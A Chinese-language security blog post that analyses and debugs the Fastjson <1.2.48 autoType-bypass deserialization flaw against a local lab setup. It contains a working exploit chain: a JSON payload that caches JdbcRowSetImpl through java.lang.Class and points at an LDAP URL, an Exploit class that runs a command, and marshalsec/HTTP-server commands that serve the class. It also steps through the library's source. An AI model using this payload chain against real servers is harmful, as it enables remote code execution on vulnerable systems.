Fastjson <1.2.48 入门调试-安全客

fastjson反序列化已经是近几年继Struts2漏洞后，最受安全人员欢迎而开发人员抱怨的一个漏洞了。

目前分析Fastjson漏洞的文章很多，每次分析文章出来后，都是过一眼就扔一边了。正好最近在学习反序列化的内容，对<1.2.48版本的漏洞再做一次分析，借鉴和学习了很多大佬的文章，这次尽量自己来做

环境搭建

使用Idea搭建一个空的maven项目，并且添加1.2.47版本的依赖

    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>
    </dependencies>

新建一个com.example的Package并在其目录下创建一个FastjsonExp的类

//FastjsonExp.java
package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastjsonExp {

    public static void main(String[] args) {
        String payload="{n" +
                "    "rand1": {n" +
                "        "@type": "java.lang.Class", n" +
                "        "val": "com.sun.rowset.JdbcRowSetImpl"n" +
                "    }, n" +
                "    "rand2": {n" +
                "        "@type": "com.sun.rowset.JdbcRowSetImpl", n" +
                "        "dataSourceName": "ldap://localhost:8088/Exploit", n" +
                "        "autoCommit": truen" +
                "    }n" +
                "}";

        JSON.parse(payload);
    }

}

在java目录新建一个Exploit.java,并编译

//Exploit.java
import java.io.IOException;

public class Exploit {
    public Exploit() throws IOException {
        Runtime.getRuntime().exec("galculator");
    }
}

在编译的Exploit.class类下，开启一个HTTP服务python -m SimpleHTTPServer
使用marshalsec创建一个ldap接口:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8088

至此，环境搭建完毕

报错

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
    at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:162)
    at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:124)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:1078)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:773)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1283)
    at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:384)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:544)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1356)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1322)
    at com.alibaba.fastjson.JSON.parse(JSON.java:152)
    at com.alibaba.fastjson.JSON.parse(JSON.java:162)
    at com.alibaba.fastjson.JSON.parse(JSON.java:131)
    at com.example.FastjsonExp.main(FastjsonExp.java:29)
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:497)
    at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:110)
    ... 14 more
Caused by: java.sql.SQLException: JdbcRowSet (connect) JNDI unable to connect
    at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
    at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
    ... 19 more

调试

在报错的各个文件处，先设断点:

首先进入的是JSON.java下的public static Object parse(String text)，此时DEFAULT_PARSER_FEATURE=989
接着是

    //features=989,  ParserConfig.getGlobalInstance()=
    public static Object parse(String text, int features) {
        return parse(text, ParserConfig.getGlobalInstance(), features);
    }

ParserConfig.getGlobalInstance()如下:com.alibaba.fastjson.parser.ParserConfig

其中deserializers变量为IdentityHashMap类，有一些可反序列化的类名，还可以看到autoTypeSupport=false
及定义的denyHashCodes，即黑名单配置

在public static Object parse(String text, ParserConfig config, int features)函数中

    public static Object parse(String text, ParserConfig config, int features) {
        if (text == null) {
            return null;
        }

        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

首先声明了一个DefaultJSONParser,并调用其parse函数，所以主要的工作应该都是在这里完成的.
初始化类时，先加载了一些基础类：

    static {
        Class<?>[] classes = new Class[] {
                boolean.class,
                byte.class,
                ...
                String.class
        };

        for (Class<?> clazz : classes) {
            primitiveClasses.add(clazz);
        }
    }

调用parser.parse()后, 继续调用了parse(Object fieldName)函数

//DefaultJSONParser.java
    public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
            case SET:
                lexer.nextToken();
                HashSet<Object> set = new HashSet<Object>();
                parseArray(set, fieldName);
                return set;
            case TREE_SET:
                lexer.nextToken();
                TreeSet<Object> treeSet = new TreeSet<Object>();
                parseArray(treeSet, fieldName);
                return treeSet;
            case LBRACKET:
                JSONArray array = new JSONArray();
                parseArray(array, fieldName);
                if (lexer.isEnabled(Feature.UseObjectArray)) {
                    return array.toArray();
                }
                return array;
            case LBRACE:
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                return parseObject(object, fieldName);
//            case LBRACE: {
//                Map<String, Object> map = lexer.isEnabled(Feature.OrderedField)
//                        ? new LinkedHashMap<String, Object>()
//                        : new HashMap<String, Object>();
//                Object obj = parseObject(map, fieldName);
//                if (obj != map) {
//                    return obj;
//                }
//                return new JSONObject(map);
//            }
            case LITERAL_INT:
                Number intValue = lexer.integerValue();
                lexer.nextToken();
                return intValue;
            case LITERAL_FLOAT:
                Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
                lexer.nextToken();
                return value;
            case LITERAL_STRING:
                String stringLiteral = lexer.stringVal();
                lexer.nextToken(JSONToken.COMMA);

                if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                    JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
                    try {
                        if (iso8601Lexer.scanISO8601DateIfMatch()) {
                            return iso8601Lexer.getCalendar().getTime();
                        }
                    } finally {
                        iso8601Lexer.close();
                    }
                }

                return stringLiteral;
            case NULL:
                lexer.nextToken();
                return null;
            case UNDEFINED:
                lexer.nextToken();
                return null;
            case TRUE:
                lexer.nextToken();
                return Boolean.TRUE;
            case FALSE:
                lexer.nextToken();
                return Boolean.FALSE;
            case NEW:
                lexer.nextToken(JSONToken.IDENTIFIER);

                if (lexer.token() != JSONToken.IDENTIFIER) {
                    throw new JSONException("syntax error");
                }
                lexer.nextToken(JSONToken.LPAREN);

                accept(JSONToken.LPAREN);
                long time = ((Number) lexer.integerValue()).longValue();
                accept(JSONToken.LITERAL_INT);

                accept(JSONToken.RPAREN);

                return new Date(time);
            case EOF:
                if (lexer.isBlankInput()) {
                    return null;
                }
                throw new JSONException("unterminated json string, " + lexer.info());
            case HEX:
                byte[] bytes = lexer.bytesValue();
                lexer.nextToken();
                return bytes;
            case IDENTIFIER:
                String identifier = lexer.stringVal();
                if ("NaN".equals(identifier)) {
                    lexer.nextToken();
                    return null;
                }
                throw new JSONException("syntax error, " + lexer.info());
            case ERROR:
            default:
                throw new JSONException("syntax error, " + lexer.info());
        }
    }

其中this.lexer为JSONScanner类，如下:

lexer.token()=12, JSONToken中定义如下: 即lexer.token='{'

    public final static int ERROR                = 1;
    //
    public final static int LITERAL_INT          = 2;
    //
    public final static int LITERAL_FLOAT        = 3;
    //
    public final static int LITERAL_STRING       = 4;
    //
    public final static int LITERAL_ISO8601_DATE = 5;

    public final static int TRUE                 = 6;
    //
    public final static int FALSE                = 7;
    //
    public final static int NULL                 = 8;
    //
    public final static int NEW                  = 9;
    //
    public final static int LPAREN               = 10; // ("("),
    //
    public final static int RPAREN               = 11; // (")"),
    //
    public final static int LBRACE               = 12; // ("{"),
    //
    public final static int RBRACE               = 13; // ("}"),
    //
    public final static int LBRACKET             = 14; // ("["),
    //
    public final static int RBRACKET             = 15; // ("]"),
    //
    public final static int COMMA                = 16; // (","),
    //
    public final static int COLON                = 17; // (":"),
    //
    public final static int IDENTIFIER           = 18;
    //
    public final static int FIELD_NAME           = 19;

    public final static int EOF                  = 20;

    public final static int SET                  = 21;
    public final static int TREE_SET             = 22;

    public final static int UNDEFINED            = 23; // undefined

    public final static int SEMI                 = 24;
    public final static int DOT                  = 25;
    public final static int HEX                  = 26;

继续调用在case LBRACE:分支: lexer.isEnabled(Feature.OrderedField)=false

    //
    case LBRACE:
        JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
        return parseObject(object, fieldName);

继续调用parseObject(object, fieldName);在其中声明了一个循环，来扫描字符串

        Map map = object instanceof JSONObject ? ((JSONObject) object).getInnerMap() : object;

        boolean setContextFlag = false;
        for (;;) {

如果判断目前的char='"',那么即将获取的为key

                if (ch == '"') {
                    key = lexer.scanSymbol(symbolTable, '"');
                    lexer.skipWhitespace();

获取key后判断是否有默认的DEFAULT_TYPE_KEY即：@type


                if (key == JSON.DEFAULT_TYPE_KEY
                        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                    String typeName = lexer.scanSymbol(symbolTable, '"');

                    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
                        continue;
                    }

继续判断是否为$ref

                if (key == "$ref"
                        && context != null
                        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                    lexer.nextToken(JSONToken.LITERAL_STRING);

在判断完key后，进入设置content的环节

                        ParseContext contextR = setContext(object, fieldName);
                        if (context == null) {
                            context = contextR;
                        }
                        setContextFlag = true;

继续调用，解析嵌套对象, 此时key=rand1

        if (!objParsed) {
            obj = this.parseObject(input, key);
        }

解析，嵌套对象时，此时获取的key=@type, 满足key == JSON.DEFAULT_TYPE_KEY，判断条件lexer.isEnabled(Feature.IgnoreAutoType)=false. 此时object对象为JSONObject而typeName=java.lang.Class, 所以进入了config.checkAutoType分支， lexer.getFeatures()=989

        if (object != null
                && object.getClass().getName().equals(typeName)) {
            clazz = object.getClass();
        } else {
            clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
        }

checkAutoType

在ParserConfig文件中, 其checkAutoType函数有多个判断条件, 第一个条件为typeName的长度在3-128之间，
第二个判断条件，为是否支持的类型，通过了一个计算：

    final long BASIC = 0xcbf29ce484222325L;
    final long PRIME = 0x100000001b3L;

    final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
    if (h1 == 0xaf64164c86024f1aL) { // [
        throw new JSONException("autoType is not support. " + typeName);
    }
    if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
        throw new JSONException("autoType is not support. " + typeName);
    }
    if (autoTypeSupport || expectClass != null) {
        ...
        //这里会使用二分法来查询白名单，和黑名单，但是这里被绕过了，
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            if (clazz != null) {
                return clazz;
            }
        }
        if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }

在判断完以后，接着去检测是否在map里，这里应该是参考文章提到的缓存

    if (clazz == null) {
        clazz = TypeUtils.getClassFromMapping(typeName);
    }

在mapping对象中，未找到的话，调用

    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }

此时进入了IdentityHashMap类，即前边提到的ParserConfig.getGlobalInstance()中deserializers的类
相当于配置白名单。根据调试，第一个@type对象的java.lang.Class中deserializers.findClass(typeName)返回，
继续扫描字符串

在第377行： ObjectDeserializer deserializer = config.getDeserializer(clazz);
跟进后在 objVal这一行，获取了值com.sun.rowset.JdbcRowSetImpl

        parser.accept(JSONToken.COLON);

        objVal = parser.parse();

        parser.accept(JSONToken.RBRACE);

继续下去是一些类型的判断如URI.class， File.class等，最后在clazz==Class.class这里

        if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

其中strVal为com.sun.rowset.JdbcRowSetImpl。

在TypeUtil.loadClass中, 判断不是[和L开头的字符串后，进行下面的分支，此时如果cache为true的话，那么就将该类放到mapping对象中

    if(classLoader != null){
        clazz = classLoader.loadClass(className);
        if (cache) {
            mappings.put(className, clazz);
        }
        return clazz;
    }

而在TypeUtils中，调用该函数时, cache默认为true

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        return loadClass(className, classLoader, true);
    }

继续上述的过程，在判断rand2时，同样到了clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
此时由上一步的mapping.put，在这里获取到了class类，为com.sun.rowset.JdbcRowSetImpl

    if (clazz == null) {
        clazz = TypeUtils.getClassFromMapping(typeName);
    }

    if (clazz != null) {
        if (expectClass != null
                && clazz != java.util.HashMap.class
                && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }

        return clazz;
    }

并且class!=null且expectClass==null，直接return clazz,并未走到最后的if(!autoTypeSupport)分支，绕过了
接着进入了第一步设置的断点处
JavaBeanDeserializer.java

    protected Object parseRest(DefaultJSONParser parser
            , Type type
            , Object fieldName
            , Object instance
            , int features
            , int[] setFlags) {
        Object value = deserialze(parser, type, fieldName, instance, features, setFlags);

        return value;
    }

在下列的循环中，遍历fieldInfo的值，如果在字符串有的，配置了变量的值

    String typeKey = beanInfo.typeKey;
    for (int fieldIndex = 0;; fieldIndex++) {
        String key = null;
        FieldDeserializer fieldDeser = null;
        FieldInfo fieldInfo = null;

最后调用到fieldDeserializer.parseField(parser, object, objectType, fieldValues);
进入DefaultFieldDeserializer.java类，其parseField函数中，在最后调用的是

        if (object == null) {
            fieldValues.put(fieldInfo.name, value);
        } else {
            setValue(object, value);
        }

此时object为：jdbcRowSetImpl类，而value为ldap://localhost:8080/Exploit
继续下一轮，当这里为fieldInfo.name=autoCommit而value=true时，
在FieldDeserializer类中，调用其setValue函数，最后会执行到

        method.invoke(object, value);

此时method=setAutoCommit, value=true
进入jdbcRowSetImpl类，其this.conn为null, 且dataSource=ldap://localhost:8088/Exploit
执行this.connect()会请求到恶意的ldap地址，造成命令执行

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

至此，分析完毕

总结: 因为用了两次@type类型，第一次的时候java.lang.Class未在黑名单中，且通过序列化，将jdbcRowSetImpl类添加至了mappings对象，其作用是缓存，在第二次解析到@type对象时，直接在mappings对象中获取了类，从而绕过了黑名单的检测
导致了这一漏洞的发生。